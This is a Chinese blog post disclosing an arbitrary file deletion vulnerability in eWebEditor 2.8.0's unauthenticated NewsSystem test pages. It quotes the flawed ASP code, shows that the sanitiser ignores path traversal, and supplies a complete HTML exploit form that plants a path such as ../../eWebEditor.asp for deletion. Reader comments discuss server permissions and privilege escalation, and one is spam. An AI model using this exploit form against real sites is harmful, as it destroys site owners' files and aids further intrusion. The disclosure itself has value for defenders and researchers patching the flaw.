Feb
13

Ewebeditor2.8.0最终版删除任意文件漏洞

这个漏洞可以很鸡肋,也可以很致命,关键看你怎么利用!

此漏洞存在于Example\NewsSystem目录下的delete.asp文件中,这是ewebeditor的测试页面,无须登陆可以直接进入,看这些代码:

' 把带"|"的字符串转为数组
Dim aSavePathFileName
aSavePathFileName = Split(sSavePathFileName, "|")
' 删除新闻相关的文件,从文件夹中
Dim i
For i = 0 To UBound(aSavePathFileName)
' 按路径文件名删除文件
Call DoDelFile(aSavePathFileName(i))
Next

而aSavePathFileName是前面从数据库取出来的:

sSavePathFileName = oRs("D_SavePathFileName")

看看D_SavePathFileName是怎么添加到数据库里的,在addsave.asp(modifysave.asp)里:

sSavePathFileName = GetSafeStr(Request.Form("d_savepathfilename"))
...
oRs("D_SavePathFileName") = sSavePathFileName

居然过滤了,是GetSafeStr函数,再看看这个函数,在Startup.asp里:

Function GetSafeStr(str)
GetSafeStr = Replace(Replace(Replace(Trim(str), "'", ""), Chr(34), ""), ";", "")
End Function

无语,这不是过滤字符型注入的函数么?放这里什么用也没有啊!既然路径没有过滤,那就可以直接定义了,构造一个提交页面,其中d_savepathfilename自己任意赋值(要删除多个文件,用|隔开即可)。试试../../eWebEditor.asp,提交后删除该新闻,于是主目录下的eWebEditor.asp不见了!

下面给出利用的htm:

<HTML><HEAD><TITLE>eWebEditor删除文件 by:oldjun(http://www.oldjun.com)</TITLE>
<style>body,p,td,input {font-size:9pt}</style>
</HEAD><BODY><a href='list.asp'>新闻列表</a> | <a href='add.asp'>增加新闻</a>

<b>增加新闻</b>

<form action="http://127.0.0.1/editor/Example/NewsSystem/addsave.asp" 
method="post" name="myform">
    <input type=hidden name=d_originalfilename>
    <input type=hidden name=d_savefilename>
    <table cellspacing=3 align=center>
<tr><td>要删的文件(相对路径就可以了):</td>
<td><input type="text" name="d_savepathfilename" value="" size="90"></td>
</tr>
<tr><td>新闻标题(随便填):</td>
<td><input type="text" name="d_title" value="" size="90"></td>
</tr>
<tr><td>标题图片:</td>
<td><select name="d_picture" size=1><option value=''>无</option></select>
 当编辑区有插入图片时,将自动填充此下拉框</td>
</tr>
<tr><td>新闻内容(随便填):</td>
<td><textarea name="d_content"></textarea></td>
</tr>
</table>

<input type=submit name=btnSubmit value=" 提 交 "> 
<input type=reset name=btnReset value=" 重 填 ">
</form>
</BODY></HTML>

删除文件漏洞一般是配合其他漏洞使用的,比如目录遍历!

共有10条评论

  1. 暗夜潜风: Feb,13th,2009

    0day?呵呵,很强大。

    不过一般的eweb它的数据库的写权限都被限制了,只能读。这样似乎就不好办了

  2. dklkt: Feb,17th,2009

    吓我一跳。

    还好我有权限设置,刚看了下,在那服务器上语句执行不了。^_^

    话说那个Example文件夹是不是可以删掉?下次我去jyb删了它!

  3. 小猫冷战: Mar,8th,2009

    你好啊…!

  4. 小猫冷战: Mar,9th,2009

    哭…
    没人回我……

  5. wow power leveling: Apr,6th,2009

    只能读。这样似乎就不好办了

  6. QQ:21034497: Jul,21st,2009

    Ewebeditor2.8中好多朋友都说删不掉,恳求版主给我们说明。
    要删的文件(相对路径就可以了):/admin/ewebeditor/eWebEditor.asp
    删不掉目录中文件,只能添加新闻,和删新闻。

  7. QQ:21034497: Jul,21st,2009

    问题已解决,不知道怎么提权。

  8. oldjun: Jul,22nd,2009

    有权限才能删!

  9. Nicole Thompsen: Sep,1st,2009

    The new replica Rolex-Repliken sind das Zeichen der hohen F?higkeiten und endg?ltige Hingabe in Richtung zum Produzieren der Oberseitenuhren zu sehr erschwinglichen Preisen.

  10. 9 Sink.Blog 3 - 34 : Apr,4th,2010

    [...]来源:http://www.oldjun.com/blog/index.php/archives/40/[...]

NAME:

required

E-MAIL:

required, will not be published

HOMEPAGE:

CONTENT: